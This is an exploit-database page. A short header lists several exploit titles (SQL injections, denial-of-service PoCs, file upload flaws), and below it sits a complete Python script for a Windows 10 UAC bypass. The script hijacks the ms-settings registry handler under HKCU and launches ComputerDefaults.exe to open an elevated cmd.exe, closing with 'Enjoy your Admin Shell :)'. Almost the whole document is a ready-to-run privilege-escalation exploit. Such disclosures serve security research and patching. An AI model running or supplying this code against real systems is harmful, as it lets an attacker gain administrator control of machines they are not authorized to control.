4f60a3d8f2
9 changes to exploits/shellcodes AudaCity 2.3 - Denial of Service (PoC) Audacity 2.3 - Denial of Service (PoC) ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC) Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass) Appsource School Management System 1.0 - 'student_id' SQL Injection SIM-PKH 2.4.1 - Arbitrary File Upload ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection School ERP Pro+Responsive 1.0 - Arbitrary File Download School ERP Pro+Responsive 1.0 - 'fid' SQL Injection SIM-PKH 2.4.1 - 'id' SQL Injection MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection
48 lines
No EOL
1.5 KiB
Python
Executable file
48 lines
No EOL
1.5 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#
|
|
# Exploit Title: Windows 10 UAC Bypass by computerDefault
|
|
# Date: 2018-10-18
|
|
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
|
|
# Twitter: st0rnpentest
|
|
#
|
|
# Vendor Homepage: www.microsoft.com
|
|
# Version: Version 10.0.17134.285
|
|
# Tested on: Windows 10 pro Version 10.0.17134.285
|
|
#
|
|
|
|
import os
|
|
import sys
|
|
import ctypes
|
|
import _winreg
|
|
|
|
|
|
def create_reg_key(key, value):
|
|
try:
|
|
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
|
|
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)
|
|
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
|
|
_winreg.CloseKey(registry_key)
|
|
except WindowsError:
|
|
raise
|
|
|
|
def exec_bypass_uac(cmd):
|
|
try:
|
|
create_reg_key('DelegateExecute', '')
|
|
create_reg_key(None, cmd)
|
|
except WindowsError:
|
|
raise
|
|
|
|
def bypass_uac():
|
|
try:
|
|
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
|
|
cmd = "C:\windows\System32\cmd.exe"
|
|
exec_bypass_uac(cmd)
|
|
os.system(r'C:\windows\system32\ComputerDefaults.exe')
|
|
return 1
|
|
except WindowsError:
|
|
sys.exit(1)
|
|
|
|
if __name__ == '__main__':
|
|
|
|
if bypass_uac():
|
|
print "Enjoy your Admin Shell :)" |